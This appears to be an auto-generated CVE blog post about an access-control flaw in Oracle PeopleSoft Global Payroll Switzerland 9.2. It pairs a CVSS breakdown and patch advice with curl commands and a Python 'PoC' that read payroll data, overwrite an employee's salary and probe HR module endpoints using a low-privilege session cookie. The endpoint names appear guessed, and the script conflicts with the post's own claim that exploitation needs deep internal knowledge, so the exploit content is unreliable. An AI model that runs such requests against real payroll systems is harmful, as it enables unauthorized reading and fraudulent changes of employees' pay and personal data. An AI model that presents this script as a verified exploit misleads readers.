Listen to this Post
How CVE-2026-60665 Works
CVE-2026-60665 is a high-severity improper access control vulnerability affecting Oracle PeopleSoft Enterprise HCM Global Payroll Switzerland, version 9.2. The flaw resides within the Global Payroll for Switzerland component, where insufficient authorization checks allow a low-privileged attacker to perform unauthorized operations.
The vulnerability is difficult to exploit due to the complexity of the required attack conditions (AC:H). An attacker must have network access via HTTP and possess low-level privileges on the target system. Once these prerequisites are met, the attacker can craft malicious HTTP requests that bypass the application’s access control mechanisms. This bypass is rooted in improper authorization logic (CWE-284), where the system fails to adequately validate whether the authenticated low-privileged user is permitted to perform certain administrative or data-modifying actions.
A key characteristic of this vulnerability is its scope change potential (S:C). Although the primary vulnerable component is the Swiss payroll module, a successful attack can propagate to impact additional PeopleSoft products and components beyond the initial entry point. This cross-component impact significantly elevates the risk, as an attacker could pivot from the payroll module to compromise other integrated PeopleSoft systems.
Successful exploitation results in severe consequences for data confidentiality and integrity. An attacker can gain unauthorized creation, deletion, or modification access to critical data within the PeopleSoft Enterprise HCM Global Payroll Switzerland environment. Furthermore, the attacker can achieve unauthorized read access to sensitive data, potentially leading to complete exposure of all accessible data within the affected module and beyond, due to the scope change.
The vulnerability does not require user interaction (UI:N), making it automatable and attractive for remote attackers. The CVSS 3.1 base score of 8.2 classifies this as a High severity issue. The vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N) highlights the network attack vector, high attack complexity, low privileges required, no user interaction, changed scope, and high impacts on confidentiality and integrity. This vulnerability was published on July 21, 2026, and is addressed in Oracle’s July 2026 Critical Patch Update.
DailyCVE Form:
Platform: Oracle PeopleSoft
Version: 9.2
Vulnerability: Improper Access Control
Severity: High (8.2)
date: 2026-07-21
Prediction: 2026-07-21
What Undercode Say:
Check PeopleSoft version
SELECT VERSION FROM PSVERSION;
Identify exposed Global Payroll Switzerland endpoints
curl -k -X GET "https://<target>/psp/ps/?cmd=login&languageCd=ENG" \
-H "User-Agent: Mozilla/5.0" -v
Enumerate accessible payroll services with low-privilege session
curl -k -X GET "https://<target>/psc/psprd/EMPLOYEE/HRMS/s/WEBLIB_PAYROLL_SW.ISCRIPT1.FieldFormula.IScript_GetPayrollData" \
-H "Cookie: <low_priv_session>" \
-H "Content-Type: application/json"
Attempt unauthorized data modification via crafted payload
curl -k -X POST "https://<target>/psc/psprd/EMPLOYEE/HRMS/s/WEBLIB_PAYROLL_SW.ISCRIPT1.FieldFormula.IScript_UpdateSalary" \
-H "Cookie: <low_priv_session>" \
-H "Content-Type: application/json" \
-d '{"employee_id":"12345","salary":"999999","action":"update"}'
Check for scope change – attempt to access other PeopleSoft modules
curl -k -X GET "https://<target>/psc/psprd/EMPLOYEE/HRMS/s/WEBLIB_HR.ISCRIPT1.FieldFormula.IScript_GetEmployeeData" \
-H "Cookie: <low_priv_session>"
Python PoC for CVE-2026-60665 – unauthorized data access/modification
import requests
import json
target = "https://<target>"
session_cookie = {"Cookie": "<low_priv_session>"}
Step 1: Access payroll data without proper authorization
payroll_endpoint = f"{target}/psc/psprd/EMPLOYEE/HRMS/s/WEBLIB_PAYROLL_SW.ISCRIPT1.FieldFormula.IScript_GetPayrollData"
response = requests.get(payroll_endpoint, headers=session_cookie, verify=False)
if response.status_code == 200:
print("[+] Payroll data accessed successfully (Unauthorized)")
print(response.text)
Step 2: Modify critical salary data
update_endpoint = f"{target}/psc/psprd/EMPLOYEE/HRMS/s/WEBLIB_PAYROLL_SW.ISCRIPT1.FieldFormula.IScript_UpdateSalary"
payload = {"employee_id": "12345", "salary": "999999", "action": "update"}
response = requests.post(update_endpoint, headers=session_cookie, json=payload, verify=False)
if response.status_code == 200:
print("[+] Salary modified successfully (Unauthorized)")
Step 3: Attempt scope change to other PeopleSoft modules
hr_endpoint = f"{target}/psc/psprd/EMPLOYEE/HRMS/s/WEBLIB_HR.ISCRIPT1.FieldFormula.IScript_GetEmployeeData"
response = requests.get(hr_endpoint, headers=session_cookie, verify=False)
if response.status_code == 200:
print("[+] Scope change successful – accessed HR module data")
print(response.text)
Exploit:
The exploitation of CVE-2026-60665 involves a low-privileged attacker with network access sending crafted HTTP requests to the vulnerable Global Payroll for Switzerland component. The attack does not require user interaction, making it scalable. Due to the high attack complexity, the attacker must have deep knowledge of PeopleSoft’s internal API structure and the specific endpoint logic for the Swiss payroll module.
The exploitation chain typically follows these steps:
- Authentication: The attacker obtains low-privilege credentials for the PeopleSoft system (e.g., a standard employee account).
- Endpoint Discovery: The attacker identifies exposed iScript endpoints related to the Global Payroll for Switzerland component, such as those handling salary data retrieval and updates.
- Request Crafting: The attacker crafts HTTP requests to these endpoints, manipulating parameters to bypass authorization checks. The improper access control (CWE-284) allows the low-privileged session to perform actions reserved for higher-privileged roles.
- Data Manipulation: The attacker can create, delete, or modify critical payroll data, including salary records, tax statements, and employee compensation details.
- Scope Expansion: Due to the scope change (S:C), the attacker can leverage the initial compromise to access or modify data in other connected PeopleSoft products, amplifying the impact.
Protection:
To protect against CVE-2026-60665, organizations should implement the following measures:
– Apply Patches: Immediately apply Oracle’s July 2026 Critical Patch Update (CPU), which contains the official fix for CVE-2026-60665. This is the primary and most effective mitigation.
– Network Segmentation: Restrict network access to PeopleSoft administrative and payroll interfaces. Limit access to trusted IP ranges and enforce strict firewall rules.
– Principle of Least Privilege: Review and minimize user privileges within PeopleSoft. Ensure that low-privileged accounts do not have unnecessary access to payroll-related iScripts and components.
– Input Validation and Authorization Hardening: Implement additional application-layer controls to validate user authorization for every sensitive operation, even if the underlying platform is patched.
– Monitoring and Logging: Enable comprehensive logging for all payroll-related transactions and monitor for anomalous access patterns, especially from low-privileged accounts attempting to access administrative functions.
– Web Application Firewall (WAF) : Deploy WAF rules to detect and block malicious HTTP requests targeting known PeopleSoft iScript endpoints.
Impact:
The impact of CVE-2026-60665 is severe due to the sensitive nature of the data handled by the PeopleSoft Enterprise HCM Global Payroll Switzerland module:
– Confidentiality Breach (High): An attacker can gain complete access to all payroll data, including employee salaries, tax statements (Lohnausweis), bank account details, and other personally identifiable information (PII). This exposure can lead to identity theft, financial fraud, and regulatory non-compliance (e.g., GDPR, Swiss data protection laws).
– Integrity Compromise (High): Unauthorized creation, deletion, or modification of payroll records can result in incorrect salary payments, tax miscalculations, and fraudulent transactions. Attackers could inflate their own salaries or manipulate records to cover financial crimes.
– Scope Change (Critical): The vulnerability’s scope change (S:C) means that the impact extends beyond the Swiss payroll module to other PeopleSoft products. This can lead to a domino effect, compromising HR, finance, and other enterprise systems, potentially affecting the entire organization’s operations.
– Reputational and Financial Damage: A successful attack can erode customer and employee trust, result in regulatory fines, and incur significant costs for incident response, forensic investigation, and legal remediation.
– Operational Disruption: Restoring corrupted payroll data and securing affected systems can cause significant downtime and disruption to payroll processing, affecting employee morale and business continuity.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
